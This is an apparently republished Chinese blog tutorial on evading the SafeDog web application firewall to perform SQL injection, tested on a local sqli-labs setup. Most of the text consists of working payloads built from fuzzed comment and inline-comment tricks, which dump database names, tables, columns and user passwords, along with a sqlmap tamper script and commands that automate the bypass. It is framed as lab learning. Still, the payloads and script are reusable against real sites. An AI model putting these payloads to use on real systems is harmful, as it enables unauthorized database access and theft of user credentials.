从SQL注入绕过最新安全狗WAF中学习fuzz

news2024/11/25 12:50:18

前言

SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。

安装

安装前言

我是本地搭建的环境进行测试的 环境是windows11+phpstudy2018+sqli-labs phpstudy的安装我不再复述,这里简单说一下安全狗插件和安全狗的安装。

过程

在安装安全狗之前,一定要先做好安装apache2.4这一项,否则可能要浪费半个下午的时间来整(受害者本人自述了属于是),因为在提前安装好这个后,再安装安全狗,就会出现如下图所示的情况,这时候就很容易进行配置了

在这里插入图片描述

而如果你后安装apache2.4,出现Apache插件安装失败的可能性极大,那我们要怎么安装apache2.4呢,很简单,首先找到你apache下的bin路径,我的是"D:\phpStudy\PHPTutorial\Apache\bin",然后进入cmd中(以管理员身份运行)

C:\Windows\system32>d:
​
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin
​
D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4
//安装插件

此时插件的安装就完成了,直接去官网找Apache版本的安全狗

在这里插入图片描述

下载到本地即可,此时进行安装(不要开启phpstudy),此时选择好安装路径后就会出现配置界面,它安装过插件的话一般是会自动检测的

在这里插入图片描述

此时直接点击确定就好了,然后打开就会发现插件是已安装的

在这里插入图片描述

此时看安全狗这个网站安全狗与防护总开关是否都开启,只有都开启了才有效,此时再去打开phpstudy,一般他就应该是自己变成系统服务了,如果没变的话就再选择一下即可

在这里插入图片描述

然后此时的话这个防护网站变成1个就说明配置好了

在这里插入图片描述

去访问网站就可以发现安全狗生效了

在这里插入图片描述

构造1=1

方法一

首先这里的话是尝试一个1=1,发现是不可以的

在这里插入图片描述

更换成true=true进行尝试

在这里插入图片描述

仍然不行,此时发现当and和后面没有空格的时候就会报错

在这里插入图片描述

我们这里尝试用/*/来充当注释符

在这里插入图片描述

发现还是被过滤了,此时我们就利用bp来进行fuzz,抓包后在/*/中添加变量(为爆破做准备)

在这里插入图片描述

选择暴力破解,字符集就选/!*进行测试即可

在这里插入图片描述

得到结果

在这里插入图片描述

发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下

id=1' and/**/1 --+

在这里插入图片描述

成功绕过

方法二

当然常见的还有一个内联注释符,就是/*!00000*/这种的,用实例来解释是最好理解的

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53    |
+-----------+
1 row in set (0.00 sec)
​
mysql> select /*!999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
​
mysql> select /*!000001*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!505531*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

这种注释在mysql中叫做内联注释,如果没有接版本号时,会直接执行里面内容。当!后面接数据库版本号时,如果自身版本号(上述例子中的5.5.53)大于等于字符数(例如上述例子中的99999和00000),就会将注释中的内容执行,否则就会当做注释来处理。 那么这里的话,我们就想构造1=1,就可以利用它来进行绕过,我们构造如下/*!000001*/=/*!000001*/语句尝试进行绕过

在这里插入图片描述

可以发现成功绕过了

order by 绕过

直接利用的话可以发现是不可以的

在这里插入图片描述

由1=1的构造思路,我们尝试构造空格来进行绕过,构造payload如下

id=1' order/**/by 3 --+

在这里插入图片描述

id=1' order/**/by 4 --+

在这里插入图片描述

成功判断出来了字段数为3

联合查询

首先的话是想利用内联注释来进行一个绕过,因为单独的一个union和单独的select都是可以的,此时我就想利用它内联注释字符数大于版本号时将其内语句作为注释来进行一个绕过, 测试过程如下

在这里插入图片描述

选择暴力破解,设置0-9依次进行爆破

在这里插入图片描述

而后得到结果

在这里插入图片描述

发现这种利用垃圾字符的内联注释方式无法再次绕过,此时我们去尝试进行其他方法,想到之前的fuzz/**/中间加东西可以绕过,不妨试一下这种,设置如下

在这里插入图片描述

选择暴力破解,将字符集进行更换即可

在这里插入图片描述

得到结果

在这里插入图片描述

发现有很多可以绕过的,随便选一个来进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,3--+

在这里插入图片描述

可以发现正常执行了,说明绕过了,这里再给出几个payload,师傅们可以自行测试

id=-1' union/*//--**/select 1,2,3--+
id=-1' union/*/!--**/select 1,2,3--+
id=-1' union/*/-*!!*/select 1,2,3--+

爆库

方法一(/**/方法)

此时直接去将3变成database()会被绕过,此时我是想用/*xxx*/()这种方式来进行绕过,利用bp设置如下

在这里插入图片描述

而后如下设置暴力破解

在这里插入图片描述

得到结果

在这里插入图片描述

可以发现有很多方式,我们随便挑选一个进行测试

id=-1' union/*/!*!**/select 1,2,database/*///-*/()--+

在这里插入图片描述

成功绕过

方法二(/*!*/内联注释法)

我们设置payload为/*!()*/这种,利用bp在括号前面加上五个数字,依次来检验哪个可以进行绕过,具体设置如下

在这里插入图片描述

而后选暴力破解,设置如下

在这里插入图片描述

得到结果

在这里插入图片描述

随机取出一个进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,database/*!20553()*/--+

在这里插入图片描述

成功绕过

爆表

正常的话语句一般是这个样子

group_concat(table_name) from information_schema.tables where table_schema=database()

那么这里的话我们测试过后就会发现information_schema被过滤了,它俩只要在一起挨着就会被过滤

在这里插入图片描述

同时呢,我们也发现利用from的时候也会被过滤

在这里插入图片描述

对这两个进行分别fuzz的话比较麻烦,而且将两者进行一起用时可能会出现仍然被过滤的情况,因此此时的话就自然的想到了内联注释这种方法,可不可以用这种方法来进行绕过呢,我们先尝试一下

from/*!information_schema.tables*/

结果如下

在这里插入图片描述

显然这种是不可行的,但是我们知道还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/这种形式,我们先进行本地测试

mysql> select /*!#
    -> 1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!#/*
    -> 1*/
    -> ;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

此时经过本地测试发现,当运用内联注释时,里面插入/*,来构造/**/,也是可以实现绕过的,此时我们先试本地测试的第一种方法

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

此时被绕过,那我们就用刚刚测试出来的第二种方法进行尝试

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

此时想有没有可能是过滤了%23,我们将%23换成--+ 构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

得到了全部表

爆列

有了表名的注入,那么注入列名也不是件太难的事情,修改一下语句即可,构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+

爆字段信息

同理,修改语句即可

?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+

其他姿势

like["%23"]

在学习其他师傅的文章时,偶然间发现这个like["%23"],这个的话我们知道%23是注释符的含义,那么在这里的时候,它这个语句到底有什么作用呢,我们测试一下就知道了 首先先正常查一个字段信息

select * from users where id=1 ;

在这里插入图片描述

此时可以发现有一个结果,我们加上我们的like["%23"],构造payload如下

select * from users where id=1 like "[%23]";

在这里插入图片描述

此时表变成空的了,那我们如果此时这样构造payload

select * from users where id=1 like "[%23]" union select * from users;

我们知道前面users where id=1 like "[%23]"这个是空,那它这条语句就相当于

select * from users

如下图所示

在这里插入图片描述

在这里插入图片描述

那么此时我们就可以去我们的靶场进行测试,看是否能绕过

id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+

在这里插入图片描述

发现没有绕过,此时我们将union后的空格用换行符替代

id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

在这里插入图片描述

此时就可以注入了,因此新的姿势就出现了,其他具体的不再列举,这里给出payload

//爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+              

tamper脚本

脚本如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top
"""

import re #导入re模块
import os #导入os模块

from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试SQL注入的过程中,使用的配置文件事先全部被加载到了conf和kb
from lib.core.enums import PRIORITY  #导入sqlmap中lib\core\enums中的PRIORITY函数,LOWEST = -100,LOWER = -50,LOW = -10,NORMAL = 0,HIGH = 10,HIGHER = 50,HIGHEST = 100
from lib.core.common import singleTimeWarnMessage#输出到sqlmap控制台的函数
from lib.core.enums import DBMS#一个数据库的枚举
__priority__ = PRIORITY.LOW#定义优先级为LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))# singleTimeWarnMessage() 用于在控制台中打印出警告信息
def tamper(payload, **kwargs):
	payload=payload.replace('AND','/*!10000AND*/')
	payload=payload.replace('OR','/*!10000OR*/')
	payload=payload.replace('ORDER BY','ORDER/**/BY')
	payload=payload.replace('()','/*!20553()*/')
	payload=payload.replace('UNION SELECT','UNION/*/!*!**/SELECT')
	payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/')
	return payload
	

示例如下

//检测可注入类型
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog 

在这里插入图片描述

破解数据库

python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5

在这里插入图片描述

参考文献

SQL注入bypass最新版安全狗 - 先知社区 什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇) - 知乎 https://www.cnblogs.com/Cl0ud/p/14394627.html SQL注入-安全狗apache最新版绕过-腾讯云开发者社区-腾讯云 Python攻防-Fuzz绕过安全狗进行SQL注入_Tr0e的博客-CSDN博客 SQLMap绕过脚本tamper(from 《Web安全攻防渗透测试实战指南》)_Masked5的博客-CSDN博客 记一次艰难的SQL注入(过安全狗) - FreeBuf网络安全行业门户 https://www.cnblogs.com/Cl0ud/p/14493204.html https://www.cnblogs.com/Cl0ud/p/14394627.html

加下方wx,拉你一起进群学习

图片

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/819739.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java 企业工程管理系统软件源码 自主研发,工程行业适用

 工程项目管理软件(工程项目管理系统)对建设工程项目管理组织建设、项目策划决策、规划设计、施工建设到竣工交付、总结评估、运维运营,全过程、全方位的对项目进行综合管理 工程项目各模块及其功能点清单 一、系统管理 1、数据…

Acwing.874 筛法求欧拉函数

题目 给定一个正整数n,求1~n中每个数的欧拉函数之和。 输入格式 共—行,包含一个整数n。 输出格式 共一行,包含一个整数,表示1~n中每个数的欧拉函数之和。 数据范围 1 ≤n ≤106 输入样例: 6输出样例: 12题解 #include…

React(4)

1.属性(props)初始 状态state都是组件内部写的,也就是A组件内的state就只能A组件里面用,其他组件复用不了。因此属性props就可以。 比如一个导航栏,首页有,购物车有,我的有,他们三个…

DNS泄漏:你的个人信息是否正被公开?

在今天的互联网世界中,数量庞大的个人信息被储存在各种网络平台和服务器上,其中包括我们的姓名、地址、电话号码、电子邮件地址等等。这些信息对我们的生活至关重要,但同时也会使我们面临着网络安全威胁,其中之一便是DNS泄漏。在本…

sdr- spectrum analyzer

0000000000000000675c62dc314764cf 433.92 M 315M

Day03-作业(AxiosElementUI)

作业1&#xff1a; 根据需求完成如下页面数据列表展示 需求&#xff1a;Vue挂载完成后,通过axios发送异步请求到服务端,获取学生列表数据,并通过Vue展示在页面上 获取数据url&#xff1a;http://yapi.smart-xwork.cn/mock/169327/student 素材&#xff1a; <!DOCTYPE html…

算法通关村第三关——双指针的妙用

双指针思想 快慢指针 所谓的双指针其实就是两个变量。双指针思想简单好用&#xff0c;在处理数组、字符串等场景下很常见。看个例子&#xff0c;从下面序列中删除重复元素[1,2,2,2,3,3,3,5,5,7,8]&#xff0c;重复元素只保留一个。删除之后的结果应该为[1,2,3,5,7,8]。我们可以…

小程序开发事件系统设计指引

我们在小程序开发中可能会时常听到事件系统这个词&#xff0c;但却对其背后的技术可能不是非常的理解&#xff0c;今天就准备通过一些实际案例的演示为大家进行解释和说明。 什么是事件&#xff1f; 微信小程序官方文档中解释说&#xff1a;事件是用于子组件向父组件传递数据…

Python+requests+unittest执行接口自动化测试详情

这篇文章主要介绍了Pythonrequestsunittest执行接口自动化测试详情&#xff0c;文章围绕主题展开详细的内容介绍&#xff0c;具有一定的参考价值&#xff0c;需要的朋友可以参考一下 1、安装requests、xlrd、json、unittest库 <1>pip 命令安装&#xff1a; pip install …

【Web 表单】与用户数据打交道-1(mdn笔记)

0. Web 表单指南 我们将介绍 Web 表单的各个方面&#xff1a;HTML 结构、样式、验证表单数据&#xff0c;以及提交数据到服务器。 基本指南 你的第一个表单 第一次创建 HTML 表单的经验&#xff0c;包括设计一个简单表单、使用正确的 HTML 元素实现它、通过 CSS 添加一些非常简…

【图论】无向图连通性(tarjan算法)

割边&#xff1a;dfn[u]<low[v] 割点&#xff1a;dfn[u]<low[v] (若为根节点&#xff0c;要有两个v这样的点) 一.知识点&#xff1a; 1.连通&#xff1a; 在图论中&#xff0c;连通性是指一个无向图中的任意两个顶点之间存在路径。如果对于图中的任意两个顶点 u 和 v&…

问道管理:券商板块再度活跃,西南证券3连板,太平洋6天5板

券商板块1日再度拉升&#xff0c;到发稿&#xff0c;财达证券、太平洋、西南证券涨停&#xff0c;首创证券、第一创业涨超5%。 值得注意的是&#xff0c;太平洋近6日已斩获5个涨停板。公司昨日晚间再次发布危险提示称&#xff0c;近日股票价格波动较大&#xff0c;特别提示广大…

分布式异步任务处理组件(四)

基于zookeeper的HA集群设计思路-- 各个节点都可以消费任务&#xff0c;但是由主节点来投票&#xff1b;主节点通过注册zookeeper的临时节点来选举--主节点需要同步从节点的信息正常工作机制--各个节点&#xff08;包括主节点本身&#xff09;在执行任务之前询问主节点&#xf…

2023最新版Nessus10.5+Awvs15.2+Routersploit+Kali

前言&#xff0c;为了方便大家使用&#xff0c;我们将AWVS、Nessus以及Routersploit集成在kali里面&#xff0c;开机即可享用。非常之方便&#xff0c;详情见下文。 0x01. AWVS AWVS是一款自动化的web漏洞扫描工具。能够发现比较常见的web漏洞&#xff0c;例如跨站脚本攻击&am…

【Mysql】group语句删除重复数据只保留一条

【Mysql】group语句删除重复数据只保留一条 【一】案例分析 假如在数据初始化的时候&#xff0c;insert脚本执行了两次&#xff0c;导致表里的数据都是重复的&#xff08;没有设置唯一键&#xff09;。这个时候再加上mybatis-plus的selectOne方法&#xff0c;就会出现报错。因…

Java阻塞队列

什么阻塞队列 阻塞队列&#xff08;BlockingQueue&#xff09;是一个支持两个附加操作的队列。这两个附加的操作支持阻塞的插入和移除方法。 支持阻塞的插入方法&#xff1a;意思是当队列满时&#xff0c;队列会阻塞插入元素的线程&#xff0c;直到队列不满。支持阻塞的移除方…

高并发编程-2. 并发级别

此文章为笔记&#xff0c;为阅读其他文章的感受、补充、记录、练习、汇总&#xff0c;非原创&#xff0c;感谢每个知识分享者。 原文 文章目录 阻塞无饥饿(Starvation-Free)无障碍(Obstruction-Free)无锁(Lock-Free)无等待 由于临界区的存在&#xff0c;多线程之间的并发必须受…

PCIE上位机用什么工具?

可以了解一下神电测控出器的My FPGA开发套件&#xff0c;它可以用来开发FPGA板卡与上位机之间PCIE通信&#xff0c;而且就是用LabVIEW FPGA开发。它使用的是Xillybus PCIe IP核&#xff0c;神电将其封装成了在 LabVIEW FPGA 下的 PCIe CLIP 组件&#xff0c;可以方便的使用。而…

2023年最新前端学习路线【超详细版】

第一个月、HTMLCSS 第1周安排&#xff1a; 是了解前端入门的第一步&#xff0c;要学会IDE插件安装和使用&#xff0c;掌握H5语法和基础标签的应用&#xff0c;学完本周可以进行简单的页面搭建。 1、了解前端行业发展2、了解HTML5对于网页的意义3、学习常用标签/属性&#xf…

流控平台Sentinel搭建和接入教程

流量控制和限流是大型系统必不可少的组成部分&#xff0c;Sentinel是Alibaba提供的一款特别好用的专业工具&#xff0c;属于那种看起来很牛&#xff0c;用起来也很牛的工具&#xff0c;下面记录一下接入的过程。 一&#xff0c;搭建平台 1&#xff0c;下载jar包 地址&#x…